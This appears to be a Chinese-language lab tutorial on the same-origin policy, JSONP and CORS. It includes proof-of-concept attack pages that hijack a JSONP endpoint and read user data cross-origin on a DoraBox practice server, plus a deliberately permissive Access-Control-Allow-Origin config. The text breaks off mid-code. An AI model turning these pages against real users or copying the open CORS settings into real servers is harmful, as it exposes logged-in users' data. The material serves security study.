两个地址的协议域名端口都一样则为同源
#### 2、为什么需要使用同源策略
Tips:同源策略是浏览器行为,拦截的是客户端发出去的请求,该请求返回的信息,也就是请求发出去了,服务器响应了,但是无法被浏览器接收。 Tips1:同源策略只存在于浏览器端,服务器访问服务器不存在跨域问题。
不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。只有同一个源的脚本才可以赋予dom、读写cookie、session、ajax等操作的权限,例如a.com可以随意调用b.com的接口去修改数据
<img/> <link/> <script/> 以上三个标签可以允许跨域加载资源
利用标签元素,网页可以得到从其他来源动态产生的JSON资料,而这种模式就是所谓的Jsonp,用Jsonp抓到的资料并不是Json,而是任意的JavaScript。
Jsonp跨域的原理本质就是利用的标签有跨域的属性
在不同源的情况下
这里没有使用本地搭建两个不同的端口来访问html服务,而是使用douban的网址来测试
同源的情况下
<!-- 以上同源与不同源的测试代码 -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ajax</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<div id="mydiv">
<button id="btn">点击</button>
</div>
</body>
<script type="text/javascript">
window.onload = function() {
var oBtn = document.getElementById('btn');
oBtn.onclick = function() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
alert( xhr.responseText );
}
};
xhr.open('get', 'http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=test', true);
xhr.send();
};
};
</script>
</html>
跨域访问
JSONP实现跨域请求的原理简单的说,就是动态创建<script>
标签,然后利用<script>
的src 不受同源策略约束来跨域获取数据。
JSONP 由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。
动态创建<script>
标签,设置其src,回调函数在src中设置
var script = document.createElement("script");
script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);
在页面中,返回的JSON作为参数传入回调函数中,我们通过回调函数来来操作数据。
function handleResponse(response){
// 对response数据进行操作代码
}
完整代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP实现跨域2</title>
</head>
<body>
<div id="mydiv">
<button id="btn">点击</button>
</div>
</body>
<script type="text/javascript">
function handleResponse(response){
console.log(response);
}
</script>
<script type="text/javascript">
window.onload = function() {
var oBtn = document.getElementById('btn');
oBtn.onclick = function() {
var script = document.createElement("script");
script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);
};
};
</script>
</html>
漏洞页面为
攻击页面
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function vulkey(data){alert(JSON.stringify(data));}</script>
<script src="http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=vulkey"></script>
</body>
</html>
受害者点击页面
其实网上的文章复现对这里并没有说的很清楚,照着复现演示看上去也比较模糊,大概的意思我理解的是漏洞页面(http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=test)要获取这些数据,是需要登录的,受害者登录后,又访问了攻击者给的漏洞劫持复现链接(http://10.200.70.27:8081/exp.html),就造成了攻击者可以获取这些数据,同源策略规定,不同的源是不可以获取cookie这些的,很显然,用户登录后的cookie,不同源是不可以获取的,这里通过标签属性的特性,获取到了不同源用户的Cookie
1、验证Referer
2、增加随机的Token进行验证
在phpstudy中开启,删掉前面的#号并在配置文件的最开头配置header然后重启服务
这一步不是必须设置,通过复现测试发现,如果php中写了,这里好像可以不用设置
#LoadModule headers_module modules/mod_headers.so
Header set Access-Control-Allow-Origin *
Header set Access-Control-Allow-Credential *
Header set Access-Control-Expose-Headers *
请求头存在origin参数且可控(不存在可自行添加不影响结果)
响应头存在下面两个:
Burp重放
如何判断是否存在跨域攻击,可以在请求头中添加一个源,看看是否可控
Origin:http://www.baidu.com
模拟受害者点击
```html
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://10.200.70.27/vul/DoraBox/csrf/userinfo.php", true);
xhttp.send();
}
</script>
</head>
<body>
<textarea id="demo">